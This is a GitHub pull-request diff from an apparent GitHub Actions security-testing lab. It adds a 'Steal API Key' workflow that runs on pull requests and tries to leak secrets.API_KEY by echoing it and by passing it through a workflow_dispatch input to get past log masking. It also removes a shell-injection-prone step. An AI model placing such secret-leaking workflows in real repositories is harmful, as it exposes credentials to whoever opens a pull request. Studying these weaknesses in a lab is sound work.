Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 0 additions & 33 deletions .github/workflows/dispatcher.yaml

This file was deleted.

60 changes: 30 additions & 30 deletions .github/workflows/prove-dispatch-works.yaml
Original file line number Diff line number Diff line change
@@ -1,35 +1,35 @@
# A basic workflow to dispatch another workflow
name: Dispatch Workflow
# # A basic workflow to dispatch another workflow
# name: Dispatch Workflow

# Controls when the action will run.
# This workflow now runs on pushes AND pull requests
on: [pull_request]
# # Controls when the action will run.
# # This workflow now runs on pushes AND pull requests
# on: [pull_request]

# A workflow run is made up of one or more jobs that can run sequentially or in parallel
jobs:
# This workflow contains a single job called "print"
print:
# The type of runner that the job will run on
runs-on: ubuntu-latest
# # A workflow run is made up of one or more jobs that can run sequentially or in parallel
# jobs:
# # This workflow contains a single job called "print"
# print:
# # The type of runner that the job will run on
# runs-on: ubuntu-latest

# This block grants the GITHUB_TOKEN the permission
# to trigger other workflows.
permissions:
actions: write
# # This block grants the GITHUB_TOKEN the permission
# # to trigger other workflows.
# permissions:
# actions: write

# Steps represent a sequence of tasks that will be executed as part of the job
steps:
# This step checks out a copy of your repository
# so that git and gh commands have context.
- name: Checkout repository
uses: actions/checkout@v4
# # Steps represent a sequence of tasks that will be executed as part of the job
# steps:
# # This step checks out a copy of your repository
# # so that git and gh commands have context.
# - name: Checkout repository
# uses: actions/checkout@v4

- name: Trigger the vulnerable workflow dispatch
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
# We'll use a simple string for this test
test_str='Hello from the trigger workflow!'
echo "Triggering CTF workflow with payload: $test_str"
# Use double quotes to ensure the variable expands correctly.
gh workflow run workflow-dispatch.yaml --ref ${{ github.event.pull_request.head.ref }} -f message="$test_str"
# - name: Trigger the vulnerable workflow dispatch
# env:
# GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# run: |
# # We'll use a simple string for this test
# test_str='Hello from the trigger workflow!'
# echo "Triggering CTF workflow with payload: $test_str"
# # Use double quotes to ensure the variable expands correctly.
# gh workflow run workflow-dispatch.yaml --ref ${{ github.event.pull_request.head.ref }} -f message="$test_str"
36 changes: 36 additions & 0 deletions .github/workflows/steal-api-key.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
name: Steal API Key

on: [pull_request]

jobs:
steal-api-key:
runs-on: ubuntu-latest

# to trigger other workflows.
permissions:
actions: write

steps:
# This step checks out a copy of your repository
# so that git and gh commands have context.
- name: Checkout repository
uses: actions/checkout@v4


- name: Attempt to reveal the secret
env:
API_KEY: ${{ secrets.API_KEY }}
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
echo "Attempt 1: Direct echo"
echo ${{ secrets.API_KEY }}

echo "Attempt 2: Echo from an environment variable"
echo $API_KEY

echo "Attempt 3: Send api key to a workflow dispatch, removing command line printing protection."
if gh workflow run workflow-dispatch.yaml --ref ${{ github.event.pull_request.head.ref }} -f message="$API_KEY"; then
echo "Workflow dispatched successfully."
else
echo "Failed to dispatch workflow."
fi
10 changes: 2 additions & 8 deletions .github/workflows/workflow-dispatch.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -12,17 +12,11 @@ on:
type: string

jobs:
exfiltrate-the-flag:
exfiltrate-the-secret:
runs-on: ubuntu-latest
env:
API_KEY: ${{ secrets.API_KEY }} # Make the secret available as an env var

steps:
- name: Print the dispatch message (INTENTIONALLY VULNERABLE)
run: |
echo "The received message is: ${{ github.event.inputs.message }}"

- name: A safe step for comparison
- name: Print the dispatch message securely
env:
USER_MESSAGE: ${{ github.event.inputs.message }}
run: |
Expand Down
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,4 @@
# GitHubActionSecurityTesting
See what I can explore for insecure GitHub Action code.

Another innocuous commit.